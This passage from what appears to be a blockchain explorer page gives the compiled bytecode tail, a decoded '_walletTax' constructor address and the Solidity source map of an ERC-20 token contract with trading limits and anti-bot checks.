ffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611df484866123ef90919063ffffffff16565b604051611e019190612684565b60405180910390a350505050565b6000838311158290611e57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4e9190612535565b60405180910390fd5b5060008385611e669190613493565b9050809150509392505050565b6001601760156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611eab57611eaa61281a565b5b604051908082528060200260200182016040528015611ed95781602001602082028036833780820191505090505b5090503081600081518110611ef157611ef0612cf9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fbc91906134dc565b81600181518110611fd057611fcf612cf9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203730601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611257565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161209b959493929190613602565b600060405180830381600087803b1580156120b557600080fd5b505af11580156120c9573d6000803e3d6000fd5b50505050506000601760156101000a81548160ff02191690831515021790555050565b6009600a6120fa9190612c54565b64174876e80061210a9190612c9f565b6011819055506009600a61211e9190612c54565b64174876e80061212e9190612c9f565b601281905550600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121dd57600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166121dc57600080fd5b5b7f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61220c9190612c54565b64174876e80061221c9190612c9f565b6040516122299190612684565b60405180910390a150565b60008083141561224757600090506122a9565b600082846122559190612c9f565b9050828482612264919061368b565b146122a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229b9061372e565b60405180910390fd5b809150505b92915050565b60006122f183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612439565b905092915050565b600080823b905060008111915050919050565b600081831161231b578261231d565b815b905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561238d573d6000803e3d6000fd5b5050565b60008082846123a091906133d1565b9050838110156123e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123dc9061379a565b60405180910390fd5b8091505092915050565b600061243183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e0f565b905092915050565b60008083118290612480576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124779190612535565b60405180910390fd5b506000838561248f919061368b565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156124d65780820151818401526020810190506124bb565b838111156124e5576000848401525b50505050565b6000601f19601f8301169050919050565b60006125078261249c565b61251181856124a7565b93506125218185602086016124b8565b61252a816124eb565b840191505092915050565b6000602082019050818103600083015261254f81846124fc565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125968261256b565b9050919050565b6125a68161258b565b81146125b157600080fd5b50565b6000813590506125c38161259d565b92915050565b6000819050919050565b6125dc816125c9565b81146125e757600080fd5b50565b6000813590506125f9816125d3565b92915050565b6000806040838503121561261657612615612561565b5b6000612624858286016125b4565b9250506020612635858286016125ea565b9150509250929050565b60008115159050919050565b6126548161263f565b82525050565b600060208201905061266f600083018461264b565b92915050565b61267e816125c9565b82525050565b60006020820190506126996000830184612675565b92915050565b6000806000606084860312156126b8576126b7612561565b5b60006126c6868287016125b4565b93505060206126d7868287016125b4565b92505060406126e8868287016125ea565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112612717576127166126f2565b5b8235905067ffffffffffffffff811115612734576127336126f7565b5b6020830191508360208202830111156127505761274f6126fc565b5b9250929050565b6000806000604084860312156127705761276f612561565b5b600084013567ffffffffffffffff81111561278e5761278d612566565b5b61279a86828701612701565b935093505060206127ad868287016125ea565b9150509250925092565b600060ff82169050919050565b6127cd816127b7565b82525050565b60006020820190506127e860008301846127c4565b92915050565b6127f78161263f565b811461280257600080fd5b50565b600081359050612814816127ee565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612852826124eb565b810181811067ffffffffffffffff821117156128715761287061281a565b5b80604052505050565b6000612884612557565b90506128908282612849565b919050565b600067ffffffffffffffff8211156128b0576128af61281a565b5b602082029050602081019050919050565b60006128d46128cf84612895565b61287a565b905080838252602082019050602084028301858111156128f7576128f66126fc565b5b835b81811015612920578061290c88826125b4565b8452602084019350506020810190506128f9565b5050509392505050565b600082601f83011261293f5761293e6126f2565b5b813561294f8482602086016128c1565b91505092915050565b6000806040838503121561296f5761296e612561565b5b600061297d85828601612805565b925050602083013567ffffffffffffffff81111561299e5761299d612566565b5b6129aa8582860161292a565b9150509250929050565b6000602082840312156129ca576129c9612561565b5b60006129d8848285016125b4565b91505092915050565b6000819050919050565b6000612a06612a016129fc8461256b565b6129e1565b61256b565b9050919050565b6000612a18826129eb565b9050919050565b6000612a2a82612a0d565b9050919050565b612a3a81612a1f565b82525050565b6000602082019050612a556000830184612a31565b92915050565b612a648161258b565b82525050565b6000602082019050612a7f6000830184612a5b565b92915050565b600060208284031215612a9b57612a9a612561565b5b6000612aa9848285016125ea565b91505092915050565b60008060408385031215612ac957612ac8612561565b5b6000612ad7858286016125b4565b9250506020612ae8858286016125b4565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612b7857808604811115612b5457612b53612af2565b5b6001851615612b635780820291505b8081029050612b7185612b21565b9450612b38565b94509492505050565b600082612b915760019050612c4d565b81612b9f5760009050612c4d565b8160018114612bb55760028114612bbf57612bee565b6001915050612c4d565b60ff841115612bd157612bd0612af2565b5b8360020a915084821115612be857612be7612af2565b5b50612c4d565b5060208310610133831016604e8410600b8410161715612c235782820a905083811115612c1e57612c1d612af2565b5b612c4d565b612c308484846001612b2e565b92509050818404811115612c4757612c46612af2565b5b81810290505b9392505050565b6000612c5f826125c9565b9150612c6a836127b7565b9250612c977fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612b81565b905092915050565b6000612caa826125c9565b9150612cb5836125c9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612cee57612ced612af2565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612d33826125c9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612d6657612d65612af2565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612da76020836124a7565b9150612db282612d71565b602082019050919050565b60006020820190508181036000830152612dd681612d9a565b9050919050565b7f54726164696e672068617320616c7265616479206265656e206f70656e656400600082015250565b6000612e13601f836124a7565b9150612e1e82612ddd565b602082019050919050565b60006020820190508181036000830152612e4281612e06565b9050919050565b7f436f6e747261637420686173206e6f204554482062616c616e63650000000000600082015250565b6000612e7f601b836124a7565b9150612e8a82612e49565b602082019050919050565b60006020820190508181036000830152612eae81612e72565b9050919050565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b6000612eeb600c836124a7565b9150612ef682612eb5565b602082019050919050565b60006020820190508181036000830152612f1a81612ede565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612f576017836124a7565b9150612f6282612f21565b602082019050919050565b60006020820190508181036000830152612f8681612f4a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fe96024836124a7565b9150612ff482612f8d565b604082019050919050565b6000602082019050818103600083015261301881612fdc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061307b6022836124a7565b91506130868261301f565b604082019050919050565b600060208201905081810360008301526130aa8161306e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061310d6025836124a7565b9150613118826130b1565b604082019050919050565b6000602082019050818103600083015261313c81613100565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061319f6023836124a7565b91506131aa82613143565b604082019050919050565b600060208201905081810360008301526131ce81613192565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132316029836124a7565b915061323c826131d5565b604082019050919050565b6000602082019050818103600083015261326081613224565b9050919050565b7f426f74206164647265737365732063616e6e6f742062757920696e207468652060008201527f666972737420626c6f636b000000000000000000000000000000000000000000602082015250565b60006132c3602b836124a7565b91506132ce82613267565b604082019050919050565b600060208201905081810360008301526132f2816132b6565b9050919050565b7f457863656564732074686520737761705468726573686f6c642e000000000000600082015250565b600061332f601a836124a7565b915061333a826132f9565b602082019050919050565b6000602082019050818103600083015261335e81613322565b9050919050565b7f4578636565647320746865206d61785478416d6f756e742e0000000000000000600082015250565b600061339b6018836124a7565b91506133a682613365565b602082019050919050565b600060208201905081810360008301526133ca8161338e565b9050919050565b60006133dc826125c9565b91506133e7836125c9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561341c5761341b612af2565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061345d601a836124a7565b915061346882613427565b602082019050919050565b6000602082019050818103600083015261348c81613450565b9050919050565b600061349e826125c9565b91506134a9836125c9565b9250828210156134bc576134bb612af2565b5b828203905092915050565b6000815190506134d68161259d565b92915050565b6000602082840312156134f2576134f1612561565b5b6000613500848285016134c7565b91505092915050565b6000819050919050565b600061352e61352961352484613509565b6129e1565b6125c9565b9050919050565b61353e81613513565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135798161258b565b82525050565b600061358b8383613570565b60208301905092915050565b6000602082019050919050565b60006135af82613544565b6135b9818561354f565b93506135c483613560565b8060005b838110156135f55781516135dc888261357f565b97506135e783613597565b9250506001810190506135c8565b5085935050505092915050565b600060a0820190506136176000830188612675565b6136246020830187613535565b818103604083015261363681866135a4565b90506136456060830185612a5b565b6136526080830184612675565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613696826125c9565b91506136a1836125c9565b9250826136b1576136b061365c565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006137186021836124a7565b9150613723826136bc565b604082019050919050565b600060208201905081810360008301526137478161370b565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613784601b836124a7565b915061378f8261374e565b602082019050919050565b600060208201905081810360008301526137b381613777565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203c29e9c08a7d56f3bf8aa4649cf99620b37b78ea0be4e35af5e9f086858a0e3f64736f6c634300080a0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000002a8dbabfd72cef425b1187e5edb67967a8bc9bee

-----Decoded View---------------
Arg [0] : _walletTax (address): 0x2A8DbabfD72cef425b1187E5EdB67967A8Bc9bee

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000002a8dbabfd72cef425b1187e5edb67967a8bc9bee


Deployed Bytecode Sourcemap

2136:9819:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4443:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5276:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3482:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4720:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5445:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11522:260;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4629:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2620:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10741:295;;;;;;;;;;;;;:::i;:::-;;2739:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10643:90;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9435:351;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4823:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;621:148:2;;;;;;;;;;;;;:::i;:::-;;3215:56:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9794:144;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3594:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;407:79:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3278:58:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4534:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4950:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11045:254;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2701:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3418:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11790:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11309:204;;;;;;;;;;;;;:::i;:::-;;5125:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2660:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3677:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4443:83;4480:13;4513:5;;;;;;;;;;;;;;;;;4506:12;;4443:83;:::o;5276:161::-;5351:4;5368:39;5377:12;:10;:12::i;:::-;5391:7;5400:6;5368:8;:39::i;:::-;5425:4;5418:11;;5276:161;;;;:::o;3482:54::-;;;;:::o;4720:95::-;4773:7;3023:1;3195:2;:13;;;;:::i;:::-;3177:15;:31;;;;:::i;:::-;4793:14;;4720:95;:::o;5445:313::-;5543:4;5560:36;5570:6;5578:9;5589:6;5560:9;:36::i;:::-;5607:121;5616:6;5624:12;:10;:12::i;:::-;5638:89;5676:6;5638:89;;;;;;;;;;;;;;;;;:11;:19;5650:6;5638:19;;;;;;;;;;;;;;;:33;5658:12;:10;:12::i;:::-;5638:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;5607:8;:121::i;:::-;5746:4;5739:11;;5445:313;;;;;:::o;11522:260::-;11629:10;;;;;;;;;;;11613:26;;:12;:10;:12::i;:::-;:26;;;11605:35;;;;;;11656:9;11651:124;11675:10;;:17;;11671:1;:21;11651:124;;;11743:10;;11754:1;11743:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11719:44;;11728:13;;;;;;;;;;;11719:44;;;11758:4;11719:44;;;;;;:::i;:::-;;;;;;;;11694:3;;;;;:::i;:::-;;;;11651:124;;;;11522:260;;;:::o;4629:83::-;4670:5;3023:1;4688:16;;4629:83;:::o;2620:33::-;;;;:::o;10741:295::-;544:12:2;:10;:12::i;:::-;534:22;;:6;;;;;;;;;;:22;;;526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10800:11:3::1;;;;;;;;;;;10799:12;10791:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;10858:23;10884:21;10858:47;;10942:1;10924:15;:19;10916:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;10994:7;:5;:7::i;:::-;10986:25;;:42;11012:15;10986:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;10780:256;10741:295::o:0;2739:32::-;;;;:::o;10643:90::-;10692:4;10716:9;10709:16;;10643:90;:::o;9435:351::-;9538:10;;;;;;;;;;;9522:26;;:12;:10;:12::i;:::-;:26;;;9514:35;;;;;;9560:13;9588:191;9603:5;:12;9595:5;:20;9588:191;;;9632:14;9657:5;9663;9657:12;;;;;;;;:::i;:::-;;;;;;;;9632:38;;9742:3;9685:46;:54;9732:6;9685:54;;;;;;;;;;;;;;;;:60;;;;;;;;;;;;;;;;;;9760:7;;;;;:::i;:::-;;;;9617:162;9588:191;;;9503:283;9435:351;;:::o;4823:119::-;4889:7;4916:9;:18;4926:7;4916:18;;;;;;;;;;;;;;;;4909:25;;4823:119;;;:::o;621:148:2:-;544:12;:10;:12::i;:::-;534:22;;:6;;;;;;;;;;:22;;;526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;728:1:::1;691:40;;712:6;::::0;::::1;;;;;;;;691:40;;;;;;;;;;;;759:1;742:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;621:148::o:0;3215:56:3:-;;;;:::o;9794:144::-;9854:4;9877:46;:53;9924:5;9877:53;;;;;;;;;;;;;;;;;;;;;;;;;9870:60;;9794:144;;;:::o;3594:39::-;;;;;;;;;;;;;:::o;407:79:2:-;445:7;472:6;;;;;;;;;;;465:13;;407:79;:::o;3278:58:3:-;;;;:::o;4534:87::-;4573:13;4606:7;;;;;;;;;;;;;;;;;4599:14;;4534:87;:::o;4950:167::-;5028:4;5045:42;5055:12;:10;:12::i;:::-;5069:9;5080:6;5045:9;:42::i;:::-;5105:4;5098:11;;4950:167;;;;:::o;11045:254::-;11123:10;;;;;;;;;;;11107:26;;:12;:10;:12::i;:::-;:26;;;11099:35;;;;;;11163:24;11181:4;11163:9;:24::i;:::-;11153:6;:34;;:48;;;;;11200:1;11191:6;:10;11153:48;11145:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;11229:24;11246:6;11229:16;:24::i;:::-;11264:10;;;;;;;;;;;:19;;:27;11284:6;11264:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11045:254;:::o;2701:31::-;;;;:::o;3418:57::-;;;;:::o;11790:125::-;11864:10;;;;;;;;;;;11848:26;;:12;:10;:12::i;:::-;:26;;;11840:35;;;;;;11902:5;11886:13;;:21;;;;;;;;;;;;;;;;;;11790:125;:::o;11309:204::-;544:12:2;:10;:12::i;:::-;534:22;;:6;;;;;;;;;;:22;;;526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11373:11:3::1;;;;;;;;;;;11372:12;11364:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;11436:4;11422:11;;:18;;;;;;;;;;;;;;;;;;11465:4;11451:11;;:18;;;;;;;;;;;;;;;;;;11493:12;11480:10;:25;;;;11309:204::o:0;5125:143::-;5206:7;5233:11;:18;5245:5;5233:18;;;;;;;;;;;;;;;:27;5252:7;5233:27;;;;;;;;;;;;;;;;5226:34;;5125:143;;;;:::o;2660:34::-;;;;:::o;3677:23::-;;;;;;;;;;;;;:::o;95:98:0:-;148:7;175:10;168:17;;95:98;:::o;5766:335:3:-;5876:1;5859:19;;:5;:19;;;;5851:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5957:1;5938:21;;:7;:21;;;;5930:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6039:6;6009:11;:18;6021:5;6009:18;;;;;;;;;;;;;;;:27;6028:7;6009:27;;;;;;;;;;;;;;;:36;;;;6077:7;6061:32;;6070:5;6061:32;;;6086:6;6061:32;;;;;;:::i;:::-;;;;;;;;5766:335;;;:::o;6109:2501::-;6213:1;6197:18;;:4;:18;;;;6189:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6290:1;6276:16;;:2;:16;;;;6268:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6360:1;6351:6;:10;6343:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6418:17;6460:7;:5;:7::i;:::-;6452:15;;:4;:15;;;;:32;;;;;6477:7;:5;:7::i;:::-;6471:13;;:2;:13;;;;6452:32;6448:1806;;;6514:1;6501:10;;:14;:43;;;;;6534:10;;6519:12;:25;6501:43;6497:70;;;6547:18;6560:4;6547:12;:18::i;:::-;6497:70;6593:77;6666:3;6593:68;6616:15;;6605:9;;:26;;6604:56;;6646:14;;6604:56;;;6633:12;;6604:56;6593:6;:10;;:68;;;;:::i;:::-;:72;;:77;;;;:::i;:::-;6581:89;;6699:13;;;;;;;;;;;6691:21;;:4;:21;;;:55;;;;;6730:15;;;;;;;;;;;6716:30;;:2;:30;;;;6691:55;6687:676;;;6785:12;6771:10;;:26;6767:581;;;6830:18;:22;6849:2;6830:22;;;;;;;;;;;;;;;;;;;;;;;;;6822:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;3023:1;3398:2;:13;;;;:::i;:::-;3385:10;:26;;;;:::i;:::-;6931:6;:24;;6923:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;6767:581;;;7053:12;;7043:6;:22;;7035:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;7151:14;;7141:6;7125:13;7135:2;7125:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;7117:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;7240:12;7236:1;7223:10;;:14;;;;:::i;:::-;:29;7219:110;;;7290:14;7301:2;7290:10;:14::i;:::-;7289:15;7281:24;;;;;;7219:110;6767:581;6687:676;7389:13;;;;;;;;;;;7383:19;;:2;:19;;;;:46;;;;;7407:18;:22;7426:2;7407:22;;;;;;;;;;;;;;;;;;;;;;;;;7406:23;7383:46;7379:166;;;7484:14;;7474:6;7458:13;7468:2;7458:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;7450:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;7379:166;7570:13;;;;;;;;;;;7564:19;;:2;:19;;;:43;;;;;7602:4;7587:20;;:4;:20;;;;7564:43;7561:174;;;7640:79;7715:3;7640:70;7662:16;;7652:9;;:26;7651:58;;7694:15;;7651:58;;;7680:13;;7651:58;7640:6;:10;;:70;;;;:::i;:::-;:74;;:79;;;;:::i;:::-;7628:91;;7561:174;7751:28;7782:24;7800:4;7782:9;:24::i;:::-;7751:55;;7826:6;;;;;;;;;;;7825:7;:31;;;;;7843:13;;;;;;;;;;;7836:20;;:2;:20;;;7825:31;:46;;;;;7860:11;;;;;;;;;;;7825:46;:88;;;;;7896:17;;7875:20;:38;7825:88;:120;;;;;7927:18;;7917:9;;:28;7825:120;7821:420;;;7966:67;7983:49;7987:6;7994:37;7998:20;8019:11;;7994:3;:37::i;:::-;7983:3;:49::i;:::-;7966:16;:67::i;:::-;8052:26;8081:21;8052:50;;8145:1;8124:18;:22;8121:105;;;8171:35;8184:21;8171:12;:35::i;:::-;8121:105;7947:294;7821:420;6486:1768;6448:1806;8279:1;8269:9;:11;8266:161;;;8319:39;8348:9;8319;:24;8337:4;8319:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;8294:9;:24;8312:4;8294:24;;;;;;;;;;;;;;;:64;;;;8399:4;8376:39;;8385:4;8376:39;;;8405:9;8376:39;;;;;;:::i;:::-;;;;;;;;8266:161;8453:27;8473:6;8453:9;:15;8463:4;8453:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;8437:9;:15;8447:4;8437:15;;;;;;;;;;;;;;;:43;;;;8505:40;8523:21;8534:9;8523:6;:10;;:21;;;;:::i;:::-;8505:9;:13;8515:2;8505:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;8491:9;:13;8501:2;8491:13;;;;;;;;;;;;;;;:54;;;;8576:2;8561:41;;8570:4;8561:41;;;8580:21;8591:9;8580:6;:10;;:21;;;;:::i;:::-;8561:41;;;;;;:::i;:::-;;;;;;;;6178:2432;6109:2501;;;:::o;495:190::-;581:7;614:1;609;:6;;617:12;601:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;641:9;657:1;653;:5;;;;:::i;:::-;641:17;;676:1;669:8;;;495:190;;;;;:::o;9946:483::-;3873:4;3864:6;;:13;;;;;;;;;;;;;;;;;;10024:21:::1;10062:1;10048:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10024:40;;10093:4;10075;10080:1;10075:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10119:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10109:4;10114:1;10109:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;10152:62;10169:4;10184:15;;;;;;;;;;;10202:11;10152:8;:62::i;:::-;10225:15;;;;;;;;;;;:66;;;10306:11;10332:1;10348:4;10375;10395:15;10225:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10013:416;3909:5:::0;3900:6;;:14;;;;;;;;;;;;;;;;;;9946:483;:::o;8821:270::-;3023:1;3195:2;:13;;;;:::i;:::-;3177:15;:31;;;;:::i;:::-;8878:12;:22;;;;3023:1;3195:2;:13;;;;:::i;:::-;3177:15;:31;;;;:::i;:::-;8911:14;:24;;;;8949:46;:54;8996:6;8949:54;;;;;;;;;;;;;;;;;;;;;;;;;8946:94;;;9013:18;:26;9032:6;9013:26;;;;;;;;;;;;;;;;;;;;;;;;;9005:35;;;;;;8946:94;9056:27;3023:1;3195:2;:13;;;;:::i;:::-;3177:15;:31;;;;:::i;:::-;9056:27;;;;;;:::i;:::-;;;;;;;;8821:270;:::o;693:246::-;751:7;780:1;775;:6;771:47;;;805:1;798:8;;;;771:47;828:9;844:1;840;:5;;;;:::i;:::-;828:17;;873:1;868;864;:5;;;;:::i;:::-;:10;856:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;930:1;923:8;;;693:246;;;;;:::o;947:132::-;1005:7;1032:39;1036:1;1039;1032:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1025:46;;947:132;;;;:::o;8618:195::-;8677:4;8694:12;8761:7;8749:20;8741:28;;8804:1;8797:4;:8;8790:15;;;8618:195;;;:::o;10437:98::-;10494:7;10521:1;10519;:3;10518:9;;10526:1;10518:9;;;10524:1;10518:9;10511:16;;10437:98;;;;:::o;10543:92::-;10600:10;;;;;;;;;;;:19;;:27;10620:6;10600:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10543:92;:::o;164:179::-;222:7;242:9;258:1;254;:5;;;;:::i;:::-;242:17;;283:1;278;:6;;270:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;334:1;327:8;;;164:179;;;;:::o;351:136::-;409:7;436:43;440:1;443;436:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;429:50;;351:136;;;;:::o;1087:189::-;1173:7;1205:1;1201;:5;1208:12;1193:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1232:9;1248:1;1244;:5;;;;:::i;:::-;1232:17;;1267:1;1260:8;;;1087:189;;;;;:::o;7:99:4:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;::